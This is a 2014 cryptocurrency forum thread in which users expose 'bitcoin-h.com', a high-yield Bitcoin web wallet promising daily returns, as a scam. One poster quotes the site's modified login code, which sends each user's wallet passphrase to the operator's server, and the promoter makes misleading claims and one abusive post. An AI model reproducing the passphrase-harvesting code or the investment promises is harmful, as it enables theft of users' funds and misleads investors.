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Author Topic: bitcoin-h.com = earn a profit up to 3% - 10% /daily! - INSTANT WITHDRAWAL  (Read 6019 times)
bitcoin-h (OP)
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July 20, 2014, 06:44:53 PM
 #41

which proof you need? add a random amount to your account and the money will appear in the live statistic, register a new account and the account will be counted in total members number
Bfljosh
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July 20, 2014, 07:06:33 PM
 #42

which proof you need? add a random amount to your account and the money will appear in the live statistic, register a new account and the account will be counted in total members number

what script are you using?
bitcoin-h (OP)
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July 20, 2014, 07:07:34 PM
 #43

the original sourse code is https://github.com/carbonwallet/carbonwallet.github.io (all can verify) was a bit modified for our needs
Bitsky
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July 20, 2014, 08:25:06 PM
 #44

live statistic: 3340 members with over 1477.3487692308 bitcoins are trusting us!
So you are paying 5% daily interest on avg from your own pocket? 74BTC? That are about 45000 USD. If you do this for a month, it's 1.35 million USD. That's some cash for a PR stunt.

If you don't have any access whatsoever to the deposited funds, why pay a percentage? You'd get lots of members by offering a $100 bounty here on the board.

I guess I'll see tomorrow if I got a payment to my signature address. If what you say is true, there is no difference between using an address from your side, or an address from my wallet because you cannot access both.

Bounty: Earn up to 68.7 BTC
Like my post? Feel free to drop a tip to 1BitskyZbfR4irjyXDaGAM2wYKQknwX36Y
devthedev
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July 20, 2014, 08:30:27 PM
Last edit: July 20, 2014, 09:23:57 PM by devthedev
 #45

please read my previous post - THIS IS A TIME LIMITED PROMO BONUS FROM OUR COMPANY FOR OUR MEMBERS

Hey btc-banker, how have you been?

Just so everyone knows, it's the same scammer as within this thread. https://bitcointalk.org/index.php?topic=610197.0
If you look through the above thread you can see him scam other users. (Make sure you check out BurtW's technical breakdown)

The funny thing is he uses the same phrasing as well.

live statistic: 3340 members with over 1477.3487692308 bitcoins are trusting us!

5369 members

Is 5369 your favorite number?

Over 1448.0442307692 bitcoins.

Yeah, sure.

5369 members with over 1448.0442307692 bitcoins are trusting us!

New members and bitcoins deposited are counted instantly.

Thanks to all meber trust us!

You say trust a lot don't you?

no sense to continue this discution ... you talk big-big stupidity, probable because you are e idiot. (this will be my last reply to your "smart" comments- it's easy to talk shit without any evidence, better go and kill yourself)

Are you kidding me?
Posted from Bitcointa.lk - #xtmmNp5CUbnY4xb8

Let me know if you have any questions. And bitcoin-h, I'm looking forward to breaking down this scam of yours as well.

bitcoin-h (OP)
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July 20, 2014, 08:36:53 PM
 #46

another useless post, another hater here
MrWDunne
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July 20, 2014, 08:37:10 PM
 #47

Same site design, same awful english, same promises.

Lol

devthedev
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July 20, 2014, 08:41:21 PM
 #48

another useless post, another hater here

Useless post? I'm just warning other users of the scammer you are. Lol.
And what am I hating on, your crappy site template or your obvious scam?
Also, keep trying to drown out my post. I'll quote it every page for you, each time adding more info.

bitcoin-h (OP)
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July 20, 2014, 08:45:40 PM
 #49

come with evidence dont talk shit, show me a single user was scammed
williamj2543
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July 20, 2014, 08:52:33 PM
 #50

live statistic: 3340 members with over 1477.3487692308 bitcoins are trusting us!
So you are paying 5% daily interest on avg from your own pocket? 74BTC? That are about 45000 USD. If you do this for a month, it's 1.35 million USD. That's some cash for a PR stunt.

If you don't have any access whatsoever to the deposited funds, why pay a percentage? You'd get lots of members by offering a $100 bounty here on the board.

I guess I'll see tomorrow if I got a payment to my signature address. If what you say is true, there is no difference between using an address from your side, or an address from my wallet because you cannot access both.
If bitsky gets a payment, I will invest.

█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
▓▓▓▓▓  BIT-X.comvvvvvvvvvvvvvvi
→ CREATE ACCOUNT 
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devthedev
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July 20, 2014, 08:56:35 PM
 #51

another useless post, another hater here

Useless post? I'm just warning other users of the scammer you are. Lol.
And what am I hating on, your crappy site template or your obvious scam?
Also, keep trying to drown out my post. I'll quote it every page for you, each time adding more info.

show me a single user was scammed

Now that you admitted to being an alt of btc-banker...

come with evidence dont talk shit

My 0.1 BTC was moved off my "safe" deterministic address:

https://blockchain.info/address/1Euy5eERuvQKruwCKFPAVp4b3zceYGWPED

last night while I was asleep, see:

https://blockchain.info/tx/d48826b2515072a73f43c2515403fd96c8c252f6cc6e7018f151a0846000528a

The coins were moved here:

https://blockchain.info/address/17nz37jqtQsvVWoi2AKzhuNrkLhH4D2AtN

then here:

https://blockchain.info/address/17DNktmPsUAbD4pXcewGMHk9yQmJNZ2kUH

then mixed.

At just about the same time, 2014-06-05 10:25:22, my other 0.1 BTC were also moved:

https://blockchain.info/tx/859e9b8777641af8c889e4be8c280f0a8194368bf557d3b40331041a502fed0f

Coins are still here:

https://blockchain.info/address/19ZUbFwYEk67oLzUXYMnmjTda8qCzWWrHe

When they need them to pay interest to someone else they will move them and mix them from there.

I have more than 50 btc here and get interest every day without issue!
And still, no trusted member comes forth on btc-bankers behalf.

btc-banker has the private keys of every customer victim.

/thread

Below shows that you don't selectively scam, you scam everyone. In this case you scammed someone of about $0.20 in BTC. Yes, 20 cents.

the free 38435 satoshi you put in my newly created wallet is already gone lol guess you have to scrape off every satoshis you could get just to pay off your 5000+ members 3% daily interest  Cry

__________________________


live statistic: 3340 members with over 1477.3487692308 bitcoins are trusting us!
So you are paying 5% daily interest on avg from your own pocket? 74BTC? That are about 45000 USD. If you do this for a month, it's 1.35 million USD. That's some cash for a PR stunt.

If you don't have any access whatsoever to the deposited funds, why pay a percentage? You'd get lots of members by offering a $100 bounty here on the board.

I guess I'll see tomorrow if I got a payment to my signature address. If what you say is true, there is no difference between using an address from your side, or an address from my wallet because you cannot access both.
If bitsky gets a payment, I will invest.

Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"

Again, if anyone has any questions about this scam reply in the thread or shoot me a message.

bitcoin-h (OP)
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July 20, 2014, 09:00:03 PM
 #52

sure - ask him, he is the man, "i know all" , again useless post, but thanks for hookup the thread
williamj2543
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July 20, 2014, 09:01:20 PM
 #53

sure - ask him, he is the man, "i know all" , again useless post, but thanks for hookup the thread
Again with the improper grammer. Why would I trust someone who doesn't even know the english language and no proper grammer with hundreds of dollars, and expect them to pay back 3% a day, with no possible way of profiting from the website.

█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
▓▓▓▓▓  BIT-X.comvvvvvvvvvvvvvvi
→ CREATE ACCOUNT 
▓▓▓▓▓
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devthedev
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July 20, 2014, 09:01:47 PM
 #54

sure - ask him, he is the man, "i know all" , again useless post, but thanks for hookup the thread

I don't understand your English.

Bitsky
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July 20, 2014, 09:15:28 PM
 #55

Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"
They won't because I never sent them to this service.

My point is that if he really has no access to private keys, then for him coins in my wallet aren't any different than coins at his website.
Ergo, he can just pay the daily interest directly to my address too without me having to transfer them.

Bounty: Earn up to 68.7 BTC
Like my post? Feel free to drop a tip to 1BitskyZbfR4irjyXDaGAM2wYKQknwX36Y
devthedev
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July 20, 2014, 09:23:18 PM
 #56

Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"
My point is that if he really has no access to private keys, then for him coins in my wallet aren't any different than coins at his website.
Ergo, he can just pay the daily interest directly to my address too without me having to transfer them.

Exactly, if you read through the btc-banker thread you can see he has direct access to the private keys.

Here's more evidence that he's the same person who ran the scam site btc-banker.com.

Here's the cached version of btc-banker.com (The original was taken down)


Here's the current bitcoin-h.com website.


Notice any similarities?

williamj2543
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July 20, 2014, 09:24:45 PM
 #57

Bitsky won't get any interest. Unfortunately, his Bitcoin will "disappear"
My point is that if he really has no access to private keys, then for him coins in my wallet aren't any different than coins at his website.
Ergo, he can just pay the daily interest directly to my address too without me having to transfer them.

Exactly, if you read through the btc-banker thread you can see he has direct access to the private keys.

Here's more evidence that he's the same person who ran the scam site btc-banker.com.

Here's the cached version of btc-banker.com (The original was taken down)


Here's the current bitcoin-h.com website.


Notice any similarities?
Haha. Bitsky, you still investing? It would be nice if you would invest like 0.01 to see if its legit. I would chip in 0.005

█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
▓▓▓▓▓  BIT-X.comvvvvvvvvvvvvvvi
→ CREATE ACCOUNT 
▓▓▓▓▓
█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
bitcoin-h (OP)
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July 20, 2014, 09:39:40 PM
 #58

this is your opinion ..who care about? i expect other members opinion too ...
devthedev
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July 20, 2014, 09:40:55 PM
 #59

Haha. Bitsky, you still investing? It would be nice if you would invest like 0.01 to see if its legit. I would chip in 0.005

That's what bitcoin-h wants, after scamming you guys of the .01 he'll blame it on a technical malfunction on your side and either attempt to continue scamming or re-host the source on a new domain.

I'm 120% sure bitcoin-h.com is not legit.

__________________________

After he was asked what script he was using this was his response,

the original sourse code is https://github.com/carbonwallet/carbonwallet.github.io (all can verify) was a bit modified for our needs.

The issue is, the critical section of code, the one that creates the key pair sequence from the password or pass phrase looks like this on the original web site:

Code:
$('#open-sesame').click(function(){

  var seed = $('#password').val();
  seed = mn_decode(seed);
  Electrum.init(seed, function(r) {
      if(r % 20 == 0)
        $('#seed-progress').css('width', (r + 19) + '%');
    },
    function(privKey) {
      Electrum.gen(10, function(r) {
        WALLET.getKeys().push(new Bitcoin.ECKey(r[1]));
        if(WALLET.getKeys().length == 10)
          login_success();
      });
    }
  );
      
  return true;
})

Notice how it simply creates 10 key pairs.  However, on the web site this function is highly modified:

Code:
$('#open-sesame').click(function(){

$.ajax({
url: 'api/login.php',
type: 'POST',
dataType: 'json',
data: 'passphrase='+$('#password').val(),
success: function(e)
{
w_id = e.id;
can_go = true;

if (e.unread > 0) {
$('#unread_count').html('('+e.unread+')')
}

if (e.mp == 1) {
$('[name=old_pass]').removeClass('hidden');
} else {
$('[name=old_pass]').addClass('hidden');
}

$.ajax({
url: 'api/commission.php',
type: 'POST',
dataType: 'json',
data: 'w='+w_id,
success: function(e)
{
$('#comm').html(e.comm);
withdraw_max = e.comm.replace(/0+$/,'');
withdraw_max = e.comm.replace(/\.+$/,'');
}
});

$.ajax({
url: 'api/withdraw.php',
type: 'POST',
data: 'w='+w_id,
success: function(e)
{
$('#withdraw').html(e);
$(document).on('click', '#withdraw_btn', function()
{
$('#withdrawModal').modal();
$('#withdrawAmmount').html(withdraw_max);
$('input[name=withdraw_amount]').val(withdraw_max);
})
}
});

$(document).on('click', '#withdrawBTC', function()
{
var wform = $(this).closest('form').serialize();
$.ajax({
url: 'api/withdraw.php',
type: 'POST',
data: wform,
success: function(e)
{
$('#withdraw').html(e);
}
});
})

$.ajax({
url: 'api/messages.php',
type: 'POST',
data: 'w='+w_id,
success: function(e)
{
$('#messages').html(e);
$(document).on('click', '.send_msg form button.submit', function()
{
var wform = $(this).closest('form').serialize();
$.ajax({
url: 'api/messages.php',
type: 'POST',
data: wform,
success: function(e)
{
$('#messages').html(e);
}
});
});
}
});

mn_words = e.seed;

var seed = $('#password').val();
seed = mn_decode(seed);

Electrum.init(seed, function(r) {
if(r % 20 == 0)
$('#seed-progress').css('width', (r + 19) + '%');
},
function(privKey) {
Electrum.gen(10, function(r) {
WALLET.getKeys().push(new Bitcoin.ECKey(r[1]));
if(WALLET.getKeys().length == 10)
login_success();
});
}
);
}
});

return true;
})

bitcoin-h, you collect the private keys of every one of your customers. Here is the proof, directly from your code:

Code:
	$('#open-sesame').click(function(){

$.ajax({
url: 'api/login.php',
type: 'POST',
dataType: 'json',
data: 'passphrase='+$('#password').val(),
success: function(e)
{

Specifically this line:

Code:
data: 'passphrase='+$('#password').val(),

Thanks BurtW for the insight on this one

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July 20, 2014, 09:49:28 PM
 #60

Haha. Bitsky, you still investing? It would be nice if you would invest like 0.01 to see if its legit. I would chip in 0.005
It looks like my address under my control in my wallet is not as good as my address under my control on his website.
bitcoin-h has ignored everything I posted so far. No explanations. No comments.
Not a real surprise now that devthedev pointed out the source code "update"...

Bounty: Earn up to 68.7 BTC
Like my post? Feel free to drop a tip to 1BitskyZbfR4irjyXDaGAM2wYKQknwX36Y
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